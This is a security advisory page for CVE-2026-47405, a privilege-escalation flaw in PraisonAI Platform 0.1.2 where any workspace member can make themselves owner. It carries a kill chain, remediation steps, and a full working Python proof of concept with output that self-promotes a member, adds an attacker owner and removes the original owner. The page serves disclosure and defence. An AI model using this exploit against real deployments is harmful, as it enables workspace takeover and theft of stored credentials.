CVE-2026-47405: PraisonAI Platform: member self-promotes to workspace owner

GHSA-h37g-4h4p-9x97 HIGH
Published May 29, 2026
CISO Take

PraisonAI Platform ≤0.1.2 has a broken access control flaw where any authenticated low-privilege workspace member can promote themselves—or attacker-controlled accounts—to owner via a single PATCH API call, because privileged workspace management routes use an authorization dependency that defaults to min_role='member' rather than enforcing admin or owner. In an AI agent orchestration context, workspace owner access means full control over AI agent definitions, tool integrations, stored API keys, automation workflows, and all member management within the tenant—a takeover that is silent and leaves no obvious defender signal. While this CVE carries no EPSS score yet and is not in CISA KEV, a fully working self-contained PoC is included in the GitHub Security Advisory (GHSA-h37g-4h4p-9x97), and the package's history of 59 prior CVEs signals systemic security debt that raises the risk profile of any production deployment. Upgrade to praisonai-platform 0.1.4 immediately; if upgrade is delayed, restrict workspace membership to fully trusted users only and audit PATCH /workspaces/{id}/members/{user_id} access logs for unexpected role escalations.

Sources: GitHub Advisory NVD ATLAS

What is the risk?

CVSS 8.8 (High) with network-reachable attack vector, low complexity, and only low privileges required makes this trivially exploitable by any authenticated workspace member—no race condition, special tooling, or administrator action needed. A single PATCH request is the complete exploit, the required user.id is leaked in every normal login response, and a working PoC is publicly documented. Post-exploitation impact is severe: complete workspace takeover including AI agent configurations, tool access, and credential storage. The package's record of 59 prior CVEs elevates confidence that systemic authorization weaknesses exist beyond this specific finding.

Attack Kill Chain

Initial Access
Attacker accepts a low-privilege workspace member invitation to the PraisonAI Platform instance, obtaining a valid JWT token with their user.id embedded in the standard login/register response.
AML.T0012
Privilege Escalation
Attacker sends PATCH /api/v1/workspaces/{id}/members/{self_id} with {"role": "owner"}; the vulnerable require_workspace_member() dependency defaults to min_role='member' and approves the request, returning HTTP 200 with role=owner.
AML.T0049
Persistence
Now as owner, the attacker adds attacker-controlled accounts as additional owners via POST /workspaces/{id}/members and removes the original legitimate owner via DELETE, eliminating all recovery paths.
AML.T0081
Impact
Attacker holds permanent owner control over all AI agents, tool configurations, stored API keys, workspace automation, and member management — enabling data exfiltration, agent sabotage, or lateral movement via agent-accessible external systems.
AML.T0053

What systems are affected?

Package Ecosystem Vulnerable Range Patched
praisonai-platform pip <= 0.1.2 0.1.4
1 dependents 86% patched ~0d to patch Full package profile →

Do you use praisonai-platform? You're affected.

Severity & Risk

CVSS 3.1
8.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C High
I High
A High

What should I do?

6 steps
  1. Upgrade to praisonai-platform 0.1.4 (patched release) immediately — this is the only complete remediation.

  2. If upgrade is blocked: restrict workspace membership invitations to fully trusted users only and remove any low-privilege members from sensitive workspaces pending patch.

  3. Audit workspace role change history: inspect PATCH /workspaces/{id}/members/{user_id} API logs for calls made by accounts that were not previously owners or admins.

  4. Query the members table directly for any accounts holding owner or admin roles that were not explicitly granted by a legitimate owner.

  5. Rotate all API keys and secrets accessible within workspaces that had untrusted membership history.

  6. Review all workspace owners against expected membership lists and demote any unauthorized escalations found.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, Robustness and Cybersecurity
ISO 42001
A.6.2 - AI System Operation
NIST AI RMF
GOVERN 1.1 - Policies, Processes and Procedures for AI Risk
OWASP LLM Top 10
LLM06 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-47405?

PraisonAI Platform ≤0.1.2 has a broken access control flaw where any authenticated low-privilege workspace member can promote themselves—or attacker-controlled accounts—to owner via a single PATCH API call, because privileged workspace management routes use an authorization dependency that defaults to min_role='member' rather than enforcing admin or owner. In an AI agent orchestration context, workspace owner access means full control over AI agent definitions, tool integrations, stored API keys, automation workflows, and all member management within the tenant—a takeover that is silent and leaves no obvious defender signal. While this CVE carries no EPSS score yet and is not in CISA KEV, a fully working self-contained PoC is included in the GitHub Security Advisory (GHSA-h37g-4h4p-9x97), and the package's history of 59 prior CVEs signals systemic security debt that raises the risk profile of any production deployment. Upgrade to praisonai-platform 0.1.4 immediately; if upgrade is delayed, restrict workspace membership to fully trusted users only and audit PATCH /workspaces/{id}/members/{user_id} access logs for unexpected role escalations.

Is CVE-2026-47405 actively exploited?

No confirmed active exploitation of CVE-2026-47405 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-47405?

1. Upgrade to praisonai-platform 0.1.4 (patched release) immediately — this is the only complete remediation. 2. If upgrade is blocked: restrict workspace membership invitations to fully trusted users only and remove any low-privilege members from sensitive workspaces pending patch. 3. Audit workspace role change history: inspect PATCH /workspaces/{id}/members/{user_id} API logs for calls made by accounts that were not previously owners or admins. 4. Query the members table directly for any accounts holding owner or admin roles that were not explicitly granted by a legitimate owner. 5. Rotate all API keys and secrets accessible within workspaces that had untrusted membership history. 6. Review all workspace owners against expected membership lists and demote any unauthorized escalations found.

What systems are affected by CVE-2026-47405?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI agent orchestration platforms, multi-tenant AI platforms.

What is the CVSS score for CVE-2026-47405?

CVE-2026-47405 has a CVSS v3.1 base score of 8.8 (HIGH).

AI Security Impact

Affected AI Architectures

agent frameworksAI agent orchestration platformsmulti-tenant AI platforms

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0049 Exploit Public-Facing Application
AML.T0053 AI Agent Tool Invocation
AML.T0081 Modify AI Agent Configuration

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2
NIST AI RMF: GOVERN 1.1
OWASP LLM Top 10: LLM06

Technical Details

Original Advisory

### Summary PraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`. The issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role="member"`, so routes that should be administrative are accessible to ordinary workspace members. As a result, a normal workspace member can: - promote their own account from `member` to `owner`; - add arbitrary users as `owner` or `admin`; - change other members' roles; - remove legitimate owners or members; - take over workspace membership completely; - perform destructive workspace operations after escalation. This is a broken access control / vertical privilege escalation vulnerability. ### Details The vulnerable authorization dependency is defined in: ```text praisonai_platform/api/deps.py ```` The dependency defaults to the lowest workspace role: ```python async def require_workspace_member( workspace_id: str, user: AuthIdentity = Depends(get_current_user), session: AsyncSession = Depends(get_db), min_role: str = "member", ) -> AuthIdentity: ... has = await member_svc.has_role(workspace_id, user.id, min_role) ``` Because `min_role` defaults to `"member"`, any route using: ```python Depends(require_workspace_member) ``` without explicitly passing a stronger role only requires ordinary workspace membership. Privileged workspace-management routes in: ```text praisonai_platform/api/routes/workspaces.py ``` use this dependency unchanged on administrative actions, including: ```text PATCH /workspaces/{workspace_id} DELETE /workspaces/{workspace_id} POST /workspaces/{workspace_id}/members PATCH /workspaces/{workspace_id}/members/{user_id} DELETE /workspaces/{workspace_id}/members/{user_id} ``` These routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`. The membership service does not provide a second authorization layer. In: ```text praisonai_platform/services/member_service.py ``` the mutation methods perform the requested change after the route-level check passes: ```python async def add(...): member = Member(workspace_id=workspace_id, user_id=user_id, role=role) async def update_role(...): member = await self.get(workspace_id, user_id) member.role = new_role async def remove(...): member = await self.get(workspace_id, user_id) await self._session.delete(member) ``` Therefore, the weak route dependency is the effective authorization boundary. A low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object: ```text TokenResponse.token TokenResponse.user.id ``` This allows an invited low-privilege member to target their own membership record and self-promote. ### Affected component ```text Package: praisonai-platform Verified version: 0.1.2 Verified source commit: d8a8a78 Affected components: - praisonai_platform/api/deps.py - praisonai_platform/api/routes/workspaces.py - praisonai_platform/services/member_service.py - praisonai_platform/api/routes/auth.py - praisonai_platform/api/schemas.py ``` ### PoC The following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic. The PoC: 1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`. 2. Registers three users through the real `/api/v1/auth/register` route. 3. Creates a workspace as the original owner. 4. Adds the second user as a normal `member`. 5. Logs in as that low-privilege member. 6. Uses the low-privilege member token to self-promote to `owner`. 7. Uses the same token to add a third account as `owner`. 8. Uses the same token to remove the original owner. 9. Confirms the workspace membership has been taken over. #### Full PoC code ```python #!/usr/bin/env python3 """Self-contained local replay for PraisonAI Platform workspace RBAC bypass.""" from __future__ import annotations import asyncio import os import sys import types import uuid from pathlib import Path from httpx import ASGITransport, AsyncClient from sqlalchemy.ext.asyncio import create_async_engine REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai" PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform" AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents" def verify_source() -> None: expected = { PLATFORM_ROOT / "praisonai_platform/api/deps.py": [ 'min_role: str = "member"', "member_svc.has_role(workspace_id, user.id, min_role)", ], PLATFORM_ROOT / "praisonai_platform/api/routes/workspaces.py": [ '@router.patch("/{workspace_id}", response_model=WorkspaceResponse)', '@router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT)', '@router.post("/{workspace_id}/members", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)', '@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)', ], PLATFORM_ROOT / "praisonai_platform/services/member_service.py": [ "member.role = new_role", "await self._session.delete(member)", ], } for path, needles in expected.items(): text = path.read_text(encoding="utf-8") for needle in needles: if needle not in text: raise RuntimeError(f"source verification failed: {needle!r} not found in {path}") async def main() -> int: if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists(): raise SystemExit("missing local PraisonAI source tree") verify_source() sys.path.insert(0, str(PLATFORM_ROOT)) sys.path.insert(0, str(AGENTS_ROOT)) # Minimal passlib stub for local replay environments where passlib is not installed. # This keeps the PoC focused on the authorization bug rather than dependency setup. if "passlib" not in sys.modules: passlib_pkg = types.ModuleType("passlib") passlib_pkg.__path__ = [] sys.modules["passlib"] = passlib_pkg if "passlib.context" not in sys.modules: passlib_context = types.ModuleType("passlib.context") class _CryptContext: def __init__(self, *args, **kwargs): pass def hash(self, password: str) -> str: return f"stub::{password}" def verify(self, password: str, hashed: str) -> bool: return hashed == f"stub::{password}" passlib_context.CryptContext = _CryptContext sys.modules["passlib.context"] = passlib_context # Keep JWT generation deterministic for the local replay. os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only" from praisonai_platform.api.app import create_app from praisonai_platform.db.base import Base, reset_engine from praisonai_platform.db import base as base_mod await reset_engine() engine = create_async_engine( "sqlite+aiosqlite:///:memory:", echo=False, connect_args={"check_same_thread": False}, ) base_mod._engine = engine base_mod._session_factory = None async with engine.begin() as conn: await conn.run_sync(Base.metadata.create_all) app = create_app() suffix = uuid.uuid4().hex[:8] password = "Password123!" transport = ASGITransport(app=app) async with AsyncClient(transport=transport, base_url="http://test") as client: # 1. Register an owner account. owner = await client.post( "/api/v1/auth/register", json={ "email": f"owner_{suffix}@example.com", "password": password, "name": f"owner_{suffix}", }, ) # 2. Register a low-privilege member account. member = await client.post( "/api/v1/auth/register", json={ "email": f"member_{suffix}@example.com", "password": password, "name": f"member_{suffix}", }, ) # 3. Register a third attacker-controlled account. extra = await client.post( "/api/v1/auth/register", json={ "email": f"extra_{suffix}@example.com", "password": password, "name": f"extra_{suffix}", }, ) owner_json = owner.json() member_json = member.json() extra_json = extra.json() owner_headers = {"Authorization": f"Bearer {owner_json['token']}"} member_headers = {"Authorization": f"Bearer {member_json['token']}"} # 4. Create a workspace as the owner. workspace = await client.post( "/api/v1/workspaces/", json={ "name": f"ws-{suffix}", "slug": f"ws-{suffix}", "description": "rbac bypass poc", }, headers=owner_headers, ) workspace_id = workspace.json()["id"] # 5. Owner adds the second user as a normal low-privilege member. added_member = await client.post( f"/api/v1/workspaces/{workspace_id}/members", json={ "user_id": member_json["user"]["id"], "role": "member", }, headers=owner_headers, ) # 6. Low-privilege member self-promotes to owner. promoted = await client.patch( f"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}", json={ "role": "owner", }, headers=member_headers, ) # 7. The same formerly-low-privilege member adds a third account as owner. added_owner = await client.post( f"/api/v1/workspaces/{workspace_id}/members", json={ "user_id": extra_json["user"]["id"], "role": "owner", }, headers=member_headers, ) # 8. The same account removes the original owner. removed_original_owner = await client.delete( f"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}", headers=member_headers, ) # 9. Confirm remaining membership state. remaining_members = await client.get( f"/api/v1/workspaces/{workspace_id}/members", headers=member_headers, ) remaining_roles = [m["role"] for m in remaining_members.json()] print(f"[poc] owner_status={owner.status_code}") print(f"[poc] member_status={member.status_code}") print(f"[poc] extra_status={extra.status_code}") print(f"[poc] workspace_status={workspace.status_code}") print(f"[poc] add_status={added_member.status_code} role={added_member.json()['role']}") print(f"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}") print(f"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}") print(f"[poc] remove_original_owner_status={removed_original_owner.status_code}") print(f"[poc] remaining_roles={remaining_roles}") if promoted.status_code != 200 or promoted.json()["role"] != "owner": raise SystemExit("[poc] MISS: low-privilege member did not become owner") if added_owner.status_code != 201 or added_owner.json()["role"] != "owner": raise SystemExit("[poc] MISS: promoted attacker could not add a new owner") if removed_original_owner.status_code != 204: raise SystemExit("[poc] MISS: promoted attacker could not remove the original owner") if remaining_roles.count("owner") < 2: raise SystemExit("[poc] MISS: expected attacker-controlled owners after takeover") print("[poc] HIT: low-privilege member became owner and took over workspace membership") await engine.dispose() base_mod._engine = None base_mod._session_factory = None return 0 if __name__ == "__main__": raise SystemExit(asyncio.run(main())) ``` #### Observed output ```text [poc] owner_status=201 [poc] member_status=201 [poc] extra_status=201 [poc] workspace_status=201 [poc] add_status=201 role=member [poc] promote_status=200 role=owner [poc] add_owner_status=201 role=owner [poc] remove_original_owner_status=204 [poc] remaining_roles=['owner', 'owner'] [poc] HIT: low-privilege member became owner and took over workspace membership ``` #### Expected secure behavior The following request should be rejected when made by a plain `member`: ```http PATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id} Authorization: Bearer <member_token> Content-Type: application/json { "role": "owner" } ``` Expected response: ```text 403 Forbidden ``` #### Actual vulnerable behavior The request succeeds: ```text HTTP 200 role = owner ``` The same account can then add attacker-controlled owners and remove the original owner. ### Impact A low-privilege workspace member can fully take over a workspace. Impact includes: * self-promoting from `member` to `owner` or `admin`; * granting `owner` or `admin` to attacker-controlled accounts; * changing other members' roles; * removing legitimate owners or members; * modifying workspace metadata and settings; * deleting the workspace; * taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation. The attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.

Exploitation Scenario

An attacker receives a low-privilege workspace member invitation to a PraisonAI Platform instance whose AI agents are connected to internal APIs and data sources. Using the JWT token received at login — which includes their user.id in the standard TokenResponse — the attacker sends a single PATCH request to /api/v1/workspaces/{workspace_id}/members/{attacker_user_id} with payload {"role": "owner"}. The request succeeds because the route uses Depends(require_workspace_member) with the default min_role='member', and the membership service performs the update without a second authorization check. Now as owner, the attacker adds two additional attacker-controlled accounts as owners via POST /workspaces/{id}/members, removes the legitimate owner via DELETE /workspaces/{id}/members/{original_owner_id}, and achieves persistent control over all AI agents, tool configurations, stored credentials, and workspace automation — completing a silent full takeover with no alert triggered and no recovery path for the original owner.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
May 29, 2026
Last Modified
May 29, 2026
First Seen
May 30, 2026

Related Vulnerabilities